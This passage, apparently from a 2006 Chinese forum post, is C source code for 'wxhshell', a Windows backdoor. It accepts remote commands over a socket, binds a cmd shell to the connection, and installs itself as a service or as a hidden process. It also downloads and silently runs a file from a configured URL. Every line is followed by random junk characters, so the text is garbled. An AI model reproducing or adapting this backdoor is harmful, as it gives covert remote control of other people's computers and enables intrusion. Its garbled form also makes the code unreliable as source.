  // 帮助 W{  fZ[z  
  case '?': { @}Zd (o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gqb])gXpl  
    break; ]4`t\YaT  
  } J! {Al  
  // 安装 mzX;s&N#  
  case 'i': { 'BY-OA#xJ  
    if(Install()) ?~J i-{#X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l<(cd,  
    else >!L&>OOx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HTV ~?E  
    break; H3 , ut  
    } 8-m 3e  
  // 卸载 K/txD20 O|  
  case 'r': { LXj5R99S  
    if(Uninstall()) (9 sIA*,}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jNA1O68N  
    else |~WYEh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UUeB;'E+  
    break; ?c]n^GvG  
    } Q $~n/  
  // 显示 wxhshell 所在路径 [:iv4>ZZ  
  case 'p': { 3GF2eS$$P  
    char svExeFile[MAX_PATH]; !SO8O  
    strcpy(svExeFile,"\n\r"); b O=yi)  
      strcat(svExeFile,ExeFile); +L0w;wT  
        send(wsh,svExeFile,strlen(svExeFile),0); zvY+R\,in  
    break; qi(*ty  
    } b7HffO O  
  // 重启 d H? ScXM=  
  case 'b': { .Pe9_ZH$W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7\ypW$Ot  
    if(Boot(REBOOT)) PY`L$e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1svi8wh  
    else { 9xFO]Y"  
    closesocket(wsh); Pao%pA.<  
    ExitThread(0); Ye5jB2Z  
    } wG 1l+^p  
    break; Ts9ktPlm  
    } z x@$RS+]  
  // 关机 \}5p0.=  
  case 'd': { a^t?vv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]E3<UR  
    if(Boot(SHUTDOWN)) .$!{-v[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eS'yGY0b  
    else { fKHE;A*>%  
    closesocket(wsh); GaekFbW)  
    ExitThread(0); t 9^A(Vh"-  
    } uLQ  
    break; cK@jmGj+  
    } xyA-P& N  
  // 获取shell /6K Il  
  case 's': { krB'9r<wa`  
    CmdShell(wsh); x[(?#  
    closesocket(wsh); ,+`HQdq  
    ExitThread(0); rY0u|8.5Q  
    break; + H_WlYg-  
  } +*}{`L- :  
  // 退出 ; A,#;%j  
  case 'x': { jjzA .8?(7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]]0,|My7  
    CloseIt(wsh); 6G AaV[])'  
    break; n6MM5h/#r  
    } WG u%7e]  
  // 离开 x%N\5 V1  
  case 'q': { .fYZ*=P;c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uH@FU60  
    closesocket(wsh); _Ov;4nt!  
    WSACleanup(); 445o DkG  
    exit(1); MFt*&%,JX  
    break; V Z y4_v=  
        } ?4 S+edX  
  } #]]Su91BA  
  } ]y@F8$D!  
*Dmx&F=3,5  
  // 提示信息 yxt[= C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yX!HZu;j  
} B@y(.  
  } <7_KeOLJ  
::5E8919  
  return; e@#kRklV&  
} %JZZ%xc  
L<V3KS2y  
// shell模块句柄 +7V{ABfGl  
int CmdShell(SOCKET sock) zYY$D.  
{ *sw7niw  
STARTUPINFO si; L';MP^  
ZeroMemory(&si,sizeof(si)); CZ<~3bEF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &HW1mNF9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X2|Y  
PROCESS_INFORMATION ProcessInfo; N8r*dadDd  
char cmdline[]="cmd"; en F:>H4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (1R?s>3o  
  return 0; L!Cz'm"Nl  
} !v.9"!' N  
Pmg)v!"  
// 自身启动模式 .@q-B+Eg  
int StartFromService(void) ?, r~=  
{ X-LA}YH=tS  
typedef struct uX/$CM  
{ ;%C'FV e]  
  DWORD ExitStatus; v``-F(i$  
  DWORD PebBaseAddress; )E#2J$TD  
  DWORD AffinityMask; =sJ _yq0#R  
  DWORD BasePriority; 5yZTcS z  
  ULONG UniqueProcessId; -]uUYe c  
  ULONG InheritedFromUniqueProcessId; I<td1Y1q  
}   PROCESS_BASIC_INFORMATION; y&m0Lz53Z  
# ]?bLm<!  
PROCNTQSIP NtQueryInformationProcess; I04jjr:<  
cF)/^5Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B+d<F[ |  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F>je4S;  
a]Eg!Q  
  HANDLE             hProcess; A>`945|  
  PROCESS_BASIC_INFORMATION pbi; 51C2u)HE  
`:m!~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IP`6bMd  
  if(NULL == hInst ) return 0; 6qWdd&1  
\c v?^AI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {`=0 |oP}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K,'*Dz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |BT MJ:B  
vbx6I>\Y  
  if (!NtQueryInformationProcess) return 0; IQ< MyB(  
F~:O.$f]G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @`opDu!  
  if(!hProcess) return 0; :2 >hoAJJ  
0Sq][W=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g]c[O*NTL  
|Xi%   
  CloseHandle(hProcess); 3A:q7#m  
gWABY%!}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v~3B:k:?l  
if(hProcess==NULL) return 0; 3f " %G\  
vK7\JZ>  
HMODULE hMod; UJfT!==U  
char procName[255]; >d"3<S ; b  
unsigned long cbNeeded; n\Fp[9+Z\  
&AVpLf:?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Aa0b6?Jm  
wbDM5%  
  CloseHandle(hProcess); b*a2,MiM  
e^4 p%  
if(strstr(procName,"services")) return 1; // 以服务启动 sDr/k`>  
=S'%`]f?  
  return 0; // 注册表启动  ~>O)  
} 6qN~/TnHZ  
Spo?i.#  
// 主模块  ~ ~uAc_  
int StartWxhshell(LPSTR lpCmdLine) 8l}1c=A}Vi  
{ 6S6f\gAM  
  SOCKET wsl; <FMq>d$\  
BOOL val=TRUE; [b{CkX06  
  int port=0; aQ^umrj@?9  
  struct sockaddr_in door; )"f N!9,F  
8}H1_y-g[  
  if(wscfg.ws_autoins) Install(); ~\x:<)  
&l$Q^g  
port=atoi(lpCmdLine); %ms'n  
1Je9,dd6  
if(port<=0) port=wscfg.ws_port; /bj <Ft\  
X[#zCM  
  WSADATA data; M8H5K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +^*iZ6{+7  
PJxH7|GSi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '(? uPr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !O\;Nua  
  door.sin_family = AF_INET; N#lDW~e'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'r(1Nj  
  door.sin_port = htons(port); -a*K$rnB  
[I4ege>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Kvsh  
closesocket(wsl); hcVJBK  
return 1; eh1Q7 ~  
} o6f_l^+H  
E_KCNn-f  
  if(listen(wsl,2) == INVALID_SOCKET) { UAR5^  
closesocket(wsl); ycFio ,  
return 1; GgaTn!mJt  
} Dnc(l(  
  Wxhshell(wsl); 1n%?@+W  
  WSACleanup(); .B#l5pfvP  
3@5=+z~CW  
return 0; 3=-4%%[M@  
G-9iowS/A  
} l5l>d62  
I`z@2Z+pJ  
// 以NT服务方式启动 +T9:Udi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BpX6aAx  
{ *'Z B*>  
DWORD   status = 0; >~`C-K#  
  DWORD   specificError = 0xfffffff; s@MYc@k  
==i[w|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XqM3<~$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cYXM__  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x0 d~i!d  
  serviceStatus.dwWin32ExitCode     = 0; 9qS"uj  
  serviceStatus.dwServiceSpecificExitCode = 0; uKgZ$-'  
  serviceStatus.dwCheckPoint       = 0; XZw6Xtn  
  serviceStatus.dwWaitHint       = 0; JdZ+Hp3.  
P0 `Mdk371  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y(.OF Q  
  if (hServiceStatusHandle==0) return; 3\T2?w9u(  
(KvROV);  
status = GetLastError(); &uC@|dbC5  
  if (status!=NO_ERROR) [AV4m   
{ eNiaM6(J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jA#/Z  
    serviceStatus.dwCheckPoint       = 0; FKe,qTqa  
    serviceStatus.dwWaitHint       = 0; 2lL,zFAq  
    serviceStatus.dwWin32ExitCode     = status; '+j} >Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; A(]H{>PMy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jqr1V_3(  
    return; ]kG(G%r|M  
  } lO2[JP  
E^U0f/5 m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sB69R:U;  
  serviceStatus.dwCheckPoint       = 0; 8w({\=  
  serviceStatus.dwWaitHint       = 0; ;gC|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fwzb!"!.@  
} AkOO )0  
\.mI  
// 处理NT服务事件,比如:启动、停止 <AJ97MLcc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {BHI1Uw  
{ pRSOYTebP  
switch(fdwControl) t4?DpE  
{ ktDC/8  
case SERVICE_CONTROL_STOP: d GP*O  
  serviceStatus.dwWin32ExitCode = 0; RCRpzY+@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tH'2gl   
  serviceStatus.dwCheckPoint   = 0; YJ(*wByM  
  serviceStatus.dwWaitHint     = 0; lsN~*q?~]  
  { ')GSAY7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'l,V*5L  
  } u^029sH6j  
  return; BB|?1"neg  
case SERVICE_CONTROL_PAUSE: # p[',$cC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ah~Y eJp  
  break; ,^icPQSwc  
case SERVICE_CONTROL_CONTINUE: :x_'i_w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TIvRhbu  
  break; 'mV9{lj7E  
case SERVICE_CONTROL_INTERROGATE: If%/3UJ@  
  break; Z4IgBn(Z_}  
}; '=P7""mN5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %,ngRYxT#  
} Le%Z V%,  
wj[$9UJb  
// 标准应用程序主函数 }B~If}7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) svXR<7) #  
{ /PsnD_s]5  
}jill+]  
// 获取操作系统版本 A=Ss6 -Je  
OsIsNt=GetOsVer(); %c[V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #pcP!  
]r_;dYa  
  // 从命令行安装 aM4k *|H?  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9(":,M(/o  
{&Q9"C  
  // 下载执行文件 <id}<H  
if(wscfg.ws_downexe) { ^eoLAL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s=[h?kB  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,!U=|c"k)  
} LY+|[qka  
|*`Z*6n  
if(!OsIsNt) { 0?>dCu\  
// 如果时win9x,隐藏进程并且设置为注册表启动 c&L"N!4z  
HideProc(); d:yqj:  
StartWxhshell(lpCmdLine); ~Ch+5A;  
} *}8t{ F@k  
else W0}B'VS.I  
  if(StartFromService()) p uT'y  
  // 以服务方式启动 8mQmi`  
  StartServiceCtrlDispatcher(DispatchTable); 6]-SK$  
else I" KN"v^  
  // 普通方式启动 +>4;Zd!@d  
  StartWxhshell(lpCmdLine); } CfqG?)  
IIyI=Wl pG  
return 0; &?h,7 D;A  
}
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只看该作者 1 发表于: 2006-10-10
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